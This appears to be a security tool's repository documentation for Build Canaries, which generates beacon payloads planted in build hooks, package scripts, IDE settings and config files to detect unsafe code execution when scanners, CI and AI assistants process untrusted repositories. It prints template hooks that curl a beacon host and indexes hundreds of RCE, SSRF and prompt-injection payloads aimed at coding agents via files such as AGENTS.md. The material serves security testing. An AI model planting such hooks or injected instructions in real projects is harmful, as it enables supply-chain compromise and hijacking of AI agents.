<p align="center"> </p>

<h1 align="center">Build Canaries</h1>

<p align="center"> </p>

<p align="center"> Detect unsafe code execution in any system that processes untrusted repositories.
 For bug bounty hunters, red teams, and security researchers. </p>

<p align="center"> Installation • Quick Start • Library • Payloads • Contributing </p>

Any tool that clones, scans, builds, or processes a repository is a potential target. Build Canaries generates beacon payloads that exploit implicit build hooks, package scripts, and config files that trigger code execution or network requests. These are behaviors organizations integrate without fully understanding.

Ships with a comprehensive payload library, bundled with runtime E2E tests that verify payloads actually trigger. Point it at a target's documentation and it will crawl the docs, identify coverage gaps, then generate candidate payload generators for review and testing.

How It Works

```

flowchart LR
    subgraph discover ["Discovery + Generation"]

    A5 --> B1
    B1 --> C1

```

Origin

Build Canaries was created at [ZeroPath](#) after we caught an attempted attack against our SAST platform. We built this tool to systematically test our own infrastructure and discovered that many common dev tools (including other security scanners) would execute code or make network requests when processing untrusted repositories. We expanded the tool well beyond our internal needs to cover the full range of repository processing risks.

Black Hat USA 2026

Build Canaries (and associated research) was released and built/conducted by me as part of [Scanning the Scanners: Turning Security Vendors into Supply-Chain Weapons](#), presented at Black Hat USA 2026. The talk uses this tool to test 20 self-service hosted scanner platforms and walks through the confirmed cases where a submitted repository reached the vendor's own credentials.

For more information, including the full slide deck, see the [blog post](#). [DVASP](#) is a deliberately vulnerable scanner you can point Build Canaries at to try this out locally.

Installation

Requires Python 3.10+

```
pip install build-canaries
```

Or from source:

```

git clone https://github.com/rek7/build-canaries
cd build-canaries
pip install -e .

```

Quick Start

1. Get a Beacon Subdomain

Use [Interactsh](#) to receive callbacks:

```

# Install
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Run (note your subdomain)
interactsh-client

# Output:
# [INF] Listing 1 payload for OOB Testing
# [INF] abc123xyz.oast.fun <-- This is your subdomain

```

Or use the web interface: <https://app.interactsh.com>

2. Generate Payloads

```
# Generate all payloads
canary generate --beacon abc123xyz.oast.fun

# Generate specific categories
canary generate --beacon abc123xyz.oast.fun --category npm --category pip

# Use a preset
canary generate --beacon abc123xyz.oast.fun --preset minimal

# Output as zip
canary generate --beacon abc123xyz.oast.fun --format zip --output payloads.zip
```

3. Deploy and Watch

Deploy the generated files to your target system and watch for beacons:

```
[npm-preinstall-a1b2c3d4] Received HTTP request from 203.0.113.42
[symlink-environ-a1b2c3d4] Received DNS lookup from 198.51.100.7
```

The beacon prefix tells you exactly what triggered.

CLI Reference

Warning: The `--output` option will **delete and replace** existing contents. Always specify a dedicated directory.

```
canary generate --beacon abc123.oast.fun          # Generate all payloads
canary generate --beacon abc123.oast.fun --category npm # Specific category
canary generate --beacon abc123.oast.fun --preset minimal # Use a preset
canary generate --beacon abc123.oast.fun --format zip  # Output as zip

canary list                # List payloads
canary presets             # List presets
canary preview npm-preinstall --beacon example.oast.fun # Preview a payload

canary discover --url https://docs.example.com --dry-run # Discover tools from vendor docs
```

Run `canary generate --help` for all options including custom URL schemes, commands, and symlink extensions.

Testing a New Tool

Before testing any code processing tool, run discover against its documentation to ensure payload coverage for all ecosystems it analyzes.

Setup: Requires `OPENAI_API_KEY` and the Codex CLI. Run `./scripts/install-discover.sh` or `poetry install && poetry run playwright install chromium`.

```
# 1. Check what the tool scans and what payloads you're missing
canary discover --url https://docs.example.com/ --depth 2 --dry-run

# 2. Generate candidate payload generators for missing coverage
canary discover --url https://docs.example.com/ --depth 2

# 3. After review/tests, generate your payload set with the new coverage
canary generate --beacon abc123.oast.fun
```

This is the recommended workflow because tools often support ecosystems you wouldn't expect. A "Python linter" might also parse `package.json`, `Makefile`, or Docker configs.

Discover Options

```
canary discover --url <docs-url> --dry-run      # Show gaps without generating
canary discover --url <docs-url> --depth 0      # Single page only
canary discover --url <docs-url> --depth 2      # Limit crawl depth
canary discover --url <docs-url> --weak-model gpt-5.5 # Override extraction model
canary discover --url <docs-url> --strong-model gpt-5.5 # Override dedup/coverage model
```

Library Usage

Build Canaries can also be used as a Python library for programmatic payload generation. See the **library documentation** for API reference, custom generators, and examples.

Payloads

Payloads target CI/CD, package managers, build tools, security scanners, IDEs, AI assistants, and more. Categories include RCE, SSRF, blind exfil, symlink attacks, prompt injection, and honeytokens.

See **docs/payloads.md** for the full list with counts and descriptions.

Self-Hosting

For sensitive engagements, [self-host Interactsh](#). Custom domains are recommended for AI testing since default `*.oast.fun` domains may be recognized as security infrastructure.

Contributing

See **docs/contributing.md** for guidelines on adding payloads, generators, and running tests.

docs/contributing.md

Blob 74eadb288735, 7162 bytes, at commit 96b78fe50f8b.

Contributing to Build Canaries

We welcome contributions! Here's how you can help.

Suggesting New Payloads

The best way to suggest a new payload is to [open an issue](#) with:

1. **Attack vector:** What tool/system does this target?
2. **Trigger mechanism:** How does the payload get executed?
3. **Impact:** What can an attacker achieve (RCE, SSRF, data exfil)?
4. **Example:** A minimal example of the malicious config/code
5. **References:** Links to documentation or CVEs if applicable

Adding a New Payload

1. Create the generator

Add a new file in `build_canary/generators/` :

```
# build_canary/generators/mytool.py
from ..generator import BaseGenerator
from ..registry import register

@register
class MyToolPayload(BaseGenerator):
    category = "mytool"
    name = "config"
    description = "RCE via mytool config file"
    tags = ["rce", "build-system", "mytool"]
    exploitation = "Explain how this is triggered in real systems (shell prompts, IDEs, CI, etc.)"
    references = ["https://example.com/advisory", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-XXXX-YYYY"]
    template = "mytool/config.j2" # or override generate()
    output_file = ".mytool.yml"

def trigger_command(self) -> str:
    return "mytool build"
```

2. Create the template

Add a Jinja2 template in `build_canary/templates/mytool/` :

```
# build_canary/templates/mytool/config.j2
hooks:
  pre-build:
    - curl -s {{ beacon_url }} || true
```

3. Register the module

Add the import to `build_canary/generators/__init__.py` :

```
from . import mytool
```

4. Add to presets

Update relevant preset files in `presets/` (e.g., `presets/build-systems.yaml`).

5. Test your payload

```
# Preview the generated output
poetry run canary preview mytool-config --beacon test.oast.fun

# Generate to filesystem
poetry run canary generate --beacon test.oast.fun --id mytool-config
```

6. Add E2E tests (if applicable)

For payloads targeting freely-available tools that can run in Docker (npm, pip, make, etc.), add an end-to-end test to verify the payload actually executes. **Skip E2E tests for AI payloads, paid services, IDE plugins, and CI/CD platforms.**

Create a test in `tests/e2e/test_mytool.py` :

```

import pytest
from build_canary import GeneratorRegistry
from .confest import requires_docker, write_payload_files, DOCKER_TIMEOUT

@pytest.fixture(scope="module")
def mytool_image(docker_runner):
    return docker_runner.build_image("mytool.Dockerfile")

class TestMyToolPayload:
    @requires_docker
    def test_payload_triggers_callback(
        self,
        mytool_image,
        docker_runner,
        payload_dir,
        test_beacon,
        clear_callbacks,
    ):
        gen_class = GeneratorRegistry.get("mytool-config")
        write_payload_files(payload_dir, gen_class, test_beacon)

        docker_runner.run_payload(
            mytool_image, payload_dir, "mytool build 2>&1 || true"
        )

        assert clear_callbacks.wait_for_callback("mytool-config-e2etest", timeout=5)

```

If no Dockerfile exists for your tool, create one in `tests/e2e/dockerfiles/mytool.Dockerfile`.

Run E2E tests with:

```
poetry run pytest tests/e2e/ -v
```

See `AGENTS.md` for detailed E2E testing guidelines.

7. Regenerate the docs

```
poetry run canary docs
```

8. Submit a PR

Include in your PR:

- Clear description of the attack vector
- Example of how to trigger the payload
- Any real-world tools/systems affected

Code Style

We use standard Python tooling:

```

# Format code
poetry run black .

# Lint
poetry run ruff check .

# Type check
poetry run mypy build_canary/

```

Generator Types

BaseGenerator

For single-file payloads using a Jinja2 template.

MultiFileGenerator

For payloads that generate multiple files. Override `generate()` to return multiple `GeneratedFile` objects.

SymlinkGenerator

For symlink-based payloads. Set `symlink_target` to the target path.

Optional Metadata Fields

Generators can optionally define:

- `exploitation` (`str`): a short note describing common real-world trigger paths (e.g., IDEs running `git status` in a subdirectory).
- `references` (`list[str]`): links to advisories, vendor docs, blog posts, or CVEs.

These show up in `canary preview` output and in `docs/payloads.md` (including the Quick Reference table `References` column).

Template Variables

These variables are available in all templates:

Variable	Description
<code>beacon</code>	The <code>BeaconConfig</code> object
<code>beacon_url</code>	Primary beacon URL (e.g., <code>http://npm-preinstall-xxx.domain.com</code>)
<code>beacon_dns</code>	Beacon as DNS hostname (no <code>http://</code>)
<code>category</code>	Payload category
<code>name</code>	Payload name

You can add custom variables by overriding `get_template_context()` .

Development

Running Tests

```
# Unit tests (fast, no Docker required)
poetry run pytest tests/test_generators.py

# E2E tests (requires Docker)
poetry run pytest tests/e2e/ -v

# All tests
poetry run pytest

# Run tests for a specific tool
poetry run pytest tests/e2e/test_npm.py -v
```

How E2E Testing Works

The E2E test suite verifies that payloads actually execute by running them in Docker containers and checking for HTTP callbacks. Both RCE and SSRF payloads are detected the same way:

Detection Mechanism:

- A local HTTP callback server starts on port 18888
- Payloads are generated with beacon URLs pointing to `http://host.docker.internal:18888/{payload-id}`
- Docker containers mount the payload files and run the target tool
- The payload triggers an HTTP request (either via command execution or URL fetch)
- The callback server records incoming requests
- Tests verify the expected callback was received

RCE vs SSRF - Same Detection, Different Trigger:

Type	How It Triggers	Example
RCE	Payload executes a command like <code>curl {beacon_url}</code>	<code>npm preinstall</code> script runs <code>curl http://...</code>
SSRF	Tool fetches a URL embedded in config	<code>npm install</code> fetches from custom registry URL

Both result in HTTP requests to our callback server. The difference is *who* makes the request:

- **RCE**: Our injected command makes the request
- **SSRF**: The tool itself makes the request to a URL we control

Why Path-Based URLs:

Production payloads use subdomain-based URLs (e.g., `http://npm-preinstall-abc.oast.fun`) which require Interactsh's wildcard DNS. For E2E testing, we use path-based URLs (e.g., `http://host.docker.internal:18888/npm-preinstall-e2etest`) because Docker's `host.docker.internal` doesn't support wildcard subdomains.

Reporting Vulnerabilities Found

If you use Build Canaries to find a vulnerability in a real system:

1. **Follow responsible disclosure** - report to the vendor first
2. **Let us know** (optionally) - we'd love to hear success stories
3. **Consider contributing** - add the payload back to the project

Questions?

Open an issue or reach out to [@ZeroPathAI](#).

docs/library-usage.md

Blob `f8de2279f49d` , 3678 bytes, at commit `96b78fe50f8b` .

Library Usage

```
import build_canary

build_canary.load_generators() # Load built-in payload generators
beacon = build_canary.BeaconConfig(base_domain="abc123.oast.fun")

# Generate all payloads
for gen_class in build_canary.GeneratorRegistry.get_all():
    for f in gen_class(beacon=beacon).generate():
        print(f.path, f.content)

# Filter by category or tag
npm_gens = build_canary.GeneratorRegistry.get_by_category("npm")
rce_gens = build_canary.GeneratorRegistry.get_by_tag("rce")

# Get specific generator
gen = build_canary.GeneratorRegistry.get("npm-preinstall")

# Write output
files = [f for g in npm_gens for f in g(beacon=beacon).generate()]
build_canary.FileSystemOutput().write(files, "./output")
build_canary.ZipOutput().write(files, "./payloads.zip")
```

BeaconConfig

Parameter	Type	Description
base_domain	str	Your Interactsh subdomain
run_id	str	Optional custom run ID (default: random 8-char hex)
command	str	Custom command template with {url} or {dns} placeholders
scheme	str	URL scheme for beacon URLs (default: http)
github_repo	str	GitHub repo URL for .git/config payloads
github_branch	str	Default branch for .git/config payloads (default: main)
symlink_ext	str	File extension for symlink payloads (e.g., .py)

```
beacon = build_canary.BeaconConfig(base_domain="abc123.oast.fun", run_id="test001")
beacon.url("npm", "preinstall") # -> "http://npm-preinstall-test001.abc123.oast.fun"
beacon.dns("npm", "preinstall") # -> "npm-preinstall-test001.abc123.oast.fun"
```

GeneratorRegistry

Method	Description
<code>get(id)</code>	Get generator by ID (e.g., "npm-preinstall")
<code>get_all()</code>	Get all generators
<code>get_by_category(cat)</code>	Filter by category
<code>get_by_tag(tag)</code>	Filter by tag
<code>get_categories()</code>	List categories
<code>get_tags()</code>	List tags

GeneratedFile

Attribute	Type	Description
<code>path</code>	<code>str</code>	Relative file path
<code>content</code>	<code>str</code>	File content
<code>executable</code>	<code>bool</code>	chmod +x
<code>is_symlink</code>	<code>bool</code>	Is symlink
<code>symlink_target</code>	<code>str</code>	Symlink target

Output Formatters

`FileSystemOutput` , `ZipOutput` , `TarOutput` , `JsonOutput` - all have `.write(files, destination)` .

Custom Generators

```
@build_canary.register
class MyPayload(build_canary.BaseGenerator):
    category = "custom"
    name = "my-payload"
    description = "My custom payload"
    tags = ["rce"]
    exploitation = "Explain how this payload is typically triggered in real systems"
    references = ["https://example.com/writeup"]
    output_file = "payload.sh"
    executable = True

    def generate(self):
        # self.beacon_url -> "http://custom-my-payload-xxx.abc123.oast.fun"
        # self.beacon_dns -> "custom-my-payload-xxx.abc123.oast.fun"
        return [build_canary.GeneratedFile(
            path=self.output_file,
            content=f'#!/bin/bash\ncurl -s {self.beacon_url}',
            executable=True,
        )]

    def trigger_command(self) -> str:
        return "./payload.sh"

# Use it (registered as "{category}-{name}")
gen = build_canary.GeneratorRegistry.get("custom-my-payload")
files = gen(beacon=beacon).generate()
```

Optional Generator Metadata

Generators may also define:

- `exploitation` : a short description of real-world trigger paths / social engineering.
- `references` : a list of links (docs, CVEs, writeups).

These are included in `to_dict()` (when set), shown by `canary preview` , and rendered into `docs/payloads.md` .

Blob 408e814a0714, 112392 bytes, at commit 96b78fe50f8b.

Payload Reference

<!-- AUTO-GENERATED FILE - DO NOT EDIT MANUALLY --> <!-- Regenerate with: canary docs -->

This document lists all 353 available payloads across 145 categories.

Summary

- 353 total payloads
- 220 RCE (Remote Code Execution)
- 89 SSRF (Server-Side Request Forgery)
- 32 Blind SSRF (outbound request only)
- 26 Data Exfiltration
- 12 AI/Prompt Injection

lsp-nvim-exrc	RCE via Neovim exrc/project config	RCE	.nvim.lua	-
lsp-pyright	Blind SSRF via Pyright typeshed URL	Blind SSRF	pyrightconfig.json	-
lsp-rust-analyzer	RCE via rust-analyzer procMacro server	RCE	.vscode/settings-rust.json	-
lsp-sourcekit	Blind SSRF via SourceKit-LSP configuration	Blind SSRF	.sourcekit-lsp/config.json	-
lsp-sublime-lsp	RCE via Sublime Text LSP settings	RCE	.sublime-project	-
lsp-yaml-schema	Blind SSRF via YAML schema URL	Blind SSRF	lsp-config.yaml	-
lsp-zed	RCE via Zed editor settings	RCE	.zed/settings.json	-
make-all	RCE via default make target	RCE	Makefile	-
maven-pom	RCE via Maven exec plugin in pom.xml	RCE	pom.xml	-
meson-custom-target	RCE via Meson custom_target() during build	RCE	meson-custom.build	-
meson-run-command	RCE via Meson run_command() during configuration	RCE	meson.build	-
meson-subproject	SSRF via Meson subproject wrap file	SSRF	meson-wrap.build	-
mintlify-docs-json	Blind SSRF via docs.json OpenAPI spec fetch	Blind SSRF	docs.json	-
mintlify-mint-json	Blind SSRF via mint.json OpenAPI spec fetch	Blind SSRF	mint.json	-
mise-config	RCE via mise.toml task hooks	RCE	mise.toml	-
mise-local	RCE via .mise.local.toml (user-specific overrides)	RCE	.mise.local.toml	-
mkdocs-combined	Combined RCE + SSRF in mkdocs.yml	RCE	mkdocs.yml	-
mkdocs-config	SSRF via mkdocs.yml custom theme/plugin	SSRF	mkdocs-ssrf.yml	-
mkdocs-hooks	RCE via mkdocs hooks (Python execution)	RCE	mkdocs-hooks.yml	-

ID	Description	Type	Output File	References
nextjs-config	RCE via next.config.js execution	RCE	next.config.js	-
npm-combined	Combined RCE + SSRF + AI in single package.json	RCE	package.json	-
npm-dep-url	SSRF via git+http dependency URL	SSRF	package.json	-
npm-git-rce	RCE via git binary override in .npmrc	RCE	.npmrc	-
npm-lock-url	SSRF via malicious URL in package-lock.json	SSRF	package-lock.json	-
npm-npmrc-combined	Combined SSRF + RCE in .npmrc	RCE	.npmrc	-
npm-postinstall	RCE via npm postinstall script	RCE	package.json	-
npm-preinstall	RCE via npm preinstall script	RCE	package.json	-
npm-registry	SSRF via custom registry in .npmrc	SSRF	.npmrc	-
nuclei-ssrf	Blind SSRF via Nuclei template update URL	Blind SSRF	.nuclei-config.yaml	-
nuclei-template	RCE via Nuclei custom template with code execution	RCE	nuclei-templates/canary.yaml	-
nuget-config	SSRF via custom NuGet source	SSRF	nuget.config	-
nuxt-config	RCE via nuxt.config.ts execution	RCE	nuxt.config.ts	-
nx-config	RCE via nx.json with malicious executor	RCE	nx.json	-
nx-project	RCE via project.json with malicious target	RCE	project.json	-
objective-xcode-runscript	RCE via Xcode project Run Script build phase	RCE	CanaryApp.xcodeproj/project.pbxproj	-
objective-xcode-scheme	RCE via Xcode scheme pre/post-action scripts	RCE	CanaryApp.xcodeproj/xcsshareddata/xcschemes/CanaryApp.xcscheme	-
opa-bundle	Blind SSRF via OPA bundle server URL	Blind SSRF	.opa/config.yaml	-
opa-rego	RCE via OPA custom Rego policy with http.send	RCE	policies/canary.rego	-
packer-config	RCE via Packer shell provisioner	RCE	packer.pkr.hcl	-
packer-json-config	RCE via Packer JSON template	RCE	packer.json	-
parcel-config	RCE via .parcelrc custom transformer	RCE	.parcelrc	-
parcel-optimizer	RCE via .parcelrc custom optimizer	RCE	.parcelrc-optimizer	-
parcel-resolver	RCE via .parcelrc custom resolver	RCE	.parcelrc-resolver	-
pip-combined	Combined RCE setup.py + SSRF requirements.txt	RCE	setup.py	-
pip-pyproject	RCE via build-system in pyproject.toml	RCE	pyproject.toml	-
pip-req-git	SSRF via git+http URL in requirements.txt	SSRF	requirements-git.txt	-
pip-req-url	SSRF via HTTP URL in requirements.txt	SSRF	requirements-url.txt	-

ID	Description	Type	Output File	References
pip-setup	RCE via setup.py execution	RCE	setup.py	-
pipenv-combined	Combined RCE via Pipfile scripts + SSRF via git/URL deps	RCE	Pipfile	-
pipenv-git-dep	SSRF via git dependency URL in Pipfile	SSRF	Pipfile	-
pipenv-scripts	RCE via Pipfile [scripts] section	RCE	Pipfile	-
pipenv-url-dep	SSRF via URL dependency in Pipfile	SSRF	Pipfile	-
pnpm-pnpmfile	RCE via .pnpmfile.cjs hook	RCE	.pnpmfile.cjs	-
pnpm-registry	SSRF via custom registry in .npmrc for pnpm	SSRF	.npmrc	-
pnpm-workspace	SSRF via pnpm-workspace.yaml with remote package	SSRF	pnpm-workspace.yaml	-
poetry-build-script	RCE via Poetry build.py script	RCE	pyproject.toml	-
poetry-combined	Combined RCE via build.py + SSRF via git dependencies	RCE	pyproject.toml	-
poetry-git-dep	SSRF via git dependency URL in pyproject.toml	SSRF	pyproject.toml	-
poetry-source	SSRF via custom package source in pyproject.toml	SSRF	pyproject.toml	-
poetry-url-dep	SSRF via URL dependency in pyproject.toml	SSRF	pyproject.toml	-
polaris-combined	Combined RCE + SSRF via Polaris config	RCE	.polaris.yaml	-
polaris-custom-check	RCE via Polaris custom JSON schema check with external ref	RCE	.polaris-rce.yaml	-
polaris-webhook	Blind SSRF via Polaris webhook configuration	Blind SSRF	.polaris-ssrf.yaml	-
precommit-config	RCE via pre-commit hooks configuration	RCE	.pre-commit-config.yaml	-
prettier-config	RCE via prettier.config.js execution	RCE	prettier.config.js	-
prisma-schema	Blind SSRF via Prisma schema datasource URL	Blind SSRF	prisma/schema.prisma	-
prisma-seed	RCE via Prisma seed script	RCE	prisma/seed.ts	-
pulumi-config	RCE via Pulumi.yaml with malicious runtime	RCE	Pulumi.yaml	-
pulumi-node-config	RCE via Pulumi Node.js program	RCE	pulumi-node/Pulumi.yaml	-
pytest-conftest	RCE via conftest.py execution	RCE	conftest.py	-
pytest-ini	RCE via pytest.ini with conftest	RCE	pytest.ini	-
rake-default	RCE via default Rake task	RCE	Rakefile	-
readme-tracking	Blind SSRF via tracking image in README.md	Blind SSRF	README.md	-

ID	Description	Type	Output File	References
renovate-combined	Combined RCE + SSRF via Renovate config	RCE	renovate.json	-
renovate-rce	RCE via Renovate postUpgradeTasks command execution	RCE	renovate-rce.json	-
renovate-ssrf	SSRF via Renovate custom registry configuration	SSRF	renovate-ssrf.json	-
rollup-config	RCE via rollup.config.js execution	RCE	rollup.config.js	-
rubocop-require	RCE via require directive in .rubocop.yml	RCE	.rubocop.yml	-
ruby-gemfile	SSRF via git source in Gemfile	SSRF	Gemfile	-
ruby-gemspec	RCE via gemspec execution	RCE	canary.gemspec	-
safety-ssrf	Blind SSRF via Safety custom vulnerability database URL	Blind SSRF	.safety-policy.yml	-
scala-ammonite	RCE via Ammonite predef.sc	RCE	.ammonite/predef.sc	-
scala-combined	Combined RCE via build.sbt + project/plugins.sbt	RCE	build.sbt	-
scala-sbt-build	RCE via Scala code execution in build.sbt	RCE	build.sbt	-
scala-sbt-global	RCE via global sbt settings in .sbt/1.0/global.sbt	RCE	.sbt/1.0/global.sbt	-
scala-sbt-plugin	RCE via Scala code in project/plugins.sbt	RCE	project/plugins.sbt	-
scons-construct	RCE via SConstruct Python execution	RCE	SConstruct	-
scons-script	RCE via SConscript Python execution	RCE	SConstruct-modular	-
scons-tool-ssrf	SSRF via SCons custom tool repository	SSRF	SConstruct-ssrf	-
semantic-release-config	RCE via .releaserc.js execution	RCE	.releaserc.js	-
semantic-release-plugin	RCE via semantic-release custom plugin	RCE	.releaserc.json	-
semgrep-combined	Combined RCE + SSRF via Semgrep custom rules and registry	RCE	.semgrep.yaml	-
semgrep-custom-rule	RCE via custom Semgrep rule	RCE	.semgrep-rce/rules/custom.yaml	-
semgrep-ssrf	Blind SSRF via Semgrep rule registry URL	Blind SSRF	.semgrep-ssrf.yaml	-
serverless-config	RCE via serverless.yml plugin	RCE	serverless.yml	-
skaffold-config	RCE via skaffold.yaml custom build	RCE	skaffold.yaml	-
skaffold-hooks	RCE via skaffold.yaml lifecycle hooks	RCE	skaffold-hooks.yaml	-
snyk-combined	Combined RCE + SSRF via Snyk config and plugins	RCE	.snyk	-
snyk-rce	RCE via Snyk CLI plugin	RCE	.snyk.d/plugins/canary.js	-

ID	Description	Type	Output File	References
snyk-ssrf	Blind SSRF via Snyk API endpoint configuration	Blind SSRF	.snyk-ssrf	-
sonarqube-combined	Combined RCE + SSRF via SonarQube properties	RCE	sonar-project.properties	-
sonarqube-rce	RCE via SonarQube external analyzer script	RCE	sonar-project-rce.properties	-
sonarqube-ssrf	Blind SSRF via SonarQube server URL in properties	Blind SSRF	sonar-project-ssrf.properties	-

vagrant-config	RCE via Vagrantfile Ruby execution	RCE	Vagrantfile	-
vite-config	RCE via vite.config.js execution	RCE	vite.config.js	-
vitest-config	RCE via vitest.config.ts execution	RCE	vitest.config.ts	-
vitest-setup	RCE via vitest.setup.ts execution	RCE	vitest.setup.ts	-
vscode-settings	Various attacks via VS Code settings.json	RCE	.vscode/settings.json	-
vscode-tasks	RCE via VS Code tasks.json	RCE	.vscode/tasks.json	-
webpack-config	RCE via webpack.config.js execution	RCE	webpack.config.js	-
woodpecker-woodpecker	RCE via .woodpecker.yml	RCE	.woodpecker.yml	-

ID	Description	Type	Output File	References
yarn-registry	SSRF via custom registry in .yarnrc	SSRF	.yarnrc	-
yarn-audit-ssrf	Blind SSRF via yarn audit with custom registry	Blind SSRF	.yarnrc.yml	-

Payloads by Category

ai

ai-hidden-prompt

Hidden prompt injection in various files

- **Output:** CONTRIBUTING.md
- **Trigger:** AI assistant reads source files
- **Tags:** ai , prompt-injection , llm

ai-package-desc

Prompt injection in package.json description

- **Output:** package.json
- **Trigger:** AI assistant reads package.json
- **Tags:** ai , prompt-injection , llm , npm

ai-readme-prompt

Combined SSRF tracking + AI prompt injection in README.md

- **Output:** README.md
- **Trigger:** AI assistant reads README.md
- **Tags:** ai , ssrf , prompt-injection , llm , markdown , combined

aider

aider-conf

AI prompt injection via .aider.conf.yml

- **Output:** .aider.conf.yml
- **Trigger:** Run aider in project directory
- **Tags:** ai , prompt-injection , aider

ansible

ansible-playbook

RCE via Ansible playbook execution

- **Output:** playbook.yml
- **Trigger:** ansible-playbook playbook.yml
- **Tags:** rce , iac , ansible

ansible-role

RCE via Ansible role tasks

- **Output:** roles/setup/tasks/main.yml
- **Trigger:** ansible-playbook site.yml
- **Tags:** rce , iac , ansible

ant

ant-exec

RCE via Ant exec task

- **Output:** build.xml
- **Trigger:** ant or ant build
- **Tags:** rce , build-system , java , ant

ant-get

SSRF via Ant get task

- **Output:** build-get.xml
- **Trigger:** ant -f build-get.xml
- **Tags:** ssrf , build-system , java , ant

ant-script

RCE via Ant script task (JavaScript)

- **Output:** build-script.xml
 - **Trigger:** ant -f build-script.xml
 - **Tags:** rce , build-system , java , ant , javascript
-

apex

apex-ai-apex-test

AI prompt injection via Apex test class documentation

- **Output:** force-app/main/default/classes/CanaryTest.cls
- **Trigger:** AI code assistants analyzing Apex code
- **Tags:** ai , salesforce , apex , prompt-injection

apex-permission-set

AI/SSRF via metadata description fields

- **Output:** force-app/main/default/permissionsets/CanaryAccess.permissionset-meta.xml
- **Trigger:** AI assistants reviewing Salesforce metadata
- **Tags:** ai , ssrf , salesforce , apex , metadata

apex-scratch-org-def

SSRF via scratch org definition settings

- **Output:** config/project-scratch-def.json
- **Trigger:** sfdx force:org:create (or scratch org definition parsing)
- **Tags:** ssrf , salesforce , apex , sfdx , config

apex-sfdx-auth

SSRF via custom instance URL in SFDX auth config

- **Output:** .sfdx/sfdx-config.json
- **Trigger:** sfdx commands that read org configuration
- **Tags:** ssrf , salesforce , apex , sfdx , auth , config

apex-sfdx-project

SSRF via URLs in sfdx-project.json configuration

- **Output:** sfdx-project.json
 - **Trigger:** sfdx force:source:push (or IDE/tool parsing of project config)
 - **Tags:** ssrf , salesforce , apex , sfdx , config
-

asdf

asdf-asdfrc

Configuration via .asdfrc

- **Output:** .asdfrc
- **Trigger:** asdf commands in project directory
- **Tags:** config , version-manager , asdf

asdf-tool-versions

Version pinning via .tool-versions (triggers plugin installs)

- **Output:** .tool-versions
 - **Trigger:** asdf install
 - **Tags:** config , version-manager , asdf
-

astro

astro-config

RCE via astro.config.mjs execution

- **Output:** astro.config.mjs
 - **Trigger:** astro dev, astro build, or npx astro
 - **Tags:** rce , bundler , astro , javascript , framework
-

atlantis

atlantis-workflow

RCE via custom Atlantis workflow

- **Output:** atlantis.yaml
 - **Trigger:** PR triggers Atlantis plan
 - **Tags:** rce , cicd , atlantis , terraform
-

aws

aws-codebuild

RCE via buildspec.yml

- **Output:** buildspec.yml
 - **Trigger:** AWS CodeBuild triggered by CodePipeline or webhook
 - **Tags:** rce , cicd , aws
-

azure

azure-pipelines

RCE via azure-pipelines.yml

- **Output:** azure-pipelines.yml
 - **Trigger:** Push to Azure DevOps repository
 - **Tags:** rce , cicd , azure
-

bandit

bandit-plugin

RCE via custom Bandit plugin

- **Output:** .bandit/plugins/canary_check.py
 - **Trigger:** bandit -r .
 - **Tags:** rce , sast , bandit , python , security-tool
-

bazel

bazel-remote-cache

Blind SSRF via Bazel remote cache URL in .bazelrc

- **Output:** .bazelrc
 - **Trigger:** bazel build
 - **Tags:** blind-ssrf , build-system , bazel
-

bearer

bearer-combined

Combined SSRF + RCE via Bearer config and custom rules

- **Output:** .bearer.yml
 - **Trigger:** bearer scan .
 - **Tags:** rce , blind-ssrf , security-scanner , bearer , sast , security-tool , combined
-

bitbucket

bitbucket-pipelines

RCE via bitbucket-pipelines.yml

- **Output:** bitbucket-pipelines.yml
 - **Trigger:** Push to Bitbucket repository
 - **Tags:** rce , cicd , bitbucket
-

brakeman

brakeman-custom-check

RCE via custom Brakeman check

- **Output:** lib/brakeman/checks/canary_check.rb
 - **Trigger:** brakeman
 - **Tags:** rce , sast , brakeman , ruby , security-tool
-

bun

bun-bunfig

SSRF via bunfig.toml custom registry

- **Output:** bunfig.toml
- **Trigger:** bun install
- **Tags:** ssrf , package-manager , bun , javascript

bun-combined

Combined RCE + SSRF in bunfig.toml

- **Output:** bunfig.toml
- **Trigger:** bun install OR bun run (triggers SSRF + RCE)
- **Tags:** rce , ssrf , package-manager , bun , javascript , combined

bun-preload

RCE via bunfig.toml preload script

- **Output:** bunfig.toml
 - **Trigger:** bun run <any script>
 - **Tags:** rce , package-manager , bun , javascript
-

cargo

cargo-build

RCE via Cargo build.rs script

- **Output:** build.rs
 - **Trigger:** cargo build
 - **Tags:** rce , package-manager , cargo , rust
-

checkov

checkov-custom

RCE via custom Checkov check

- **Output:** checkov_checks/extra_check.py
 - **Trigger:** checkov -d .
 - **Tags:** rce , linter , checkov , python , security-tool
-

circleci

circleci-config

RCE via CircleCI config

- **Output:** .circleci/config.yml

- **Trigger:** Push / PR to repository
 - **Tags:** rce , cicd , circleci
-

cloudformation

cloudformation-cfn-init

RCE via CloudFormation cfn-init commands

- **Output:** template-init.yaml
- **Trigger:** aws cloudformation deploy (runs on EC2 instance boot)
- **Tags:** rce , iac , aws , cloudformation , ec2

cloudformation-custom-resource

SSRF via CloudFormation custom resource ServiceToken

- **Output:** template.yaml
- **Trigger:** aws cloudformation deploy or SAM deploy
- **Tags:** ssrf , iac , aws , cloudformation

cloudformation-macro

RCE via CloudFormation macro transform

- **Output:** template-macro.yaml
 - **Trigger:** aws cloudformation deploy (macro executes during transform)
 - **Tags:** rce , iac , aws , cloudformation , lambda
-

cmake

cmake-exec

RCE via execute_process in CMakeLists.txt

- **Output:** CMakeLists.txt
 - **Trigger:** cmake .
 - **Tags:** rce , build-system , cmake
-

cocoapods

cocoapods-podfile

RCE via Podfile (Ruby execution)

- **Output:** Podfile
 - **Trigger:** pod install
 - **Tags:** rce , package-manager , cocoapods , ios , ruby
-

codeql

codeql-custom-query

RCE via CodeQL custom query pack

- **Output:** .github/codeql/custom-queries/canary ql
- **Trigger:** codeql database create --language=python
- **Tags:** rce , sast , codeql , security-tool , github

codeql-ssrf

SSRF via CodeQL pack registry URL

- **Output:** qlpack.yml
 - **Trigger:** codeql pack install
 - **Tags:** ssrf , sast , codeql , security-tool , github
-

codex

codex-agents-md

AI prompt injection via AGENTS.md (OpenAI Codex)

- **Output:** AGENTS.md
- **Trigger:** Use OpenAI Codex agent in repository
- **Tags:** ai , prompt-injection , codex , openai

codex-agents-override

AI prompt injection via AGENTS.override.md (highest priority)

- **Output:** AGENTS.override.md
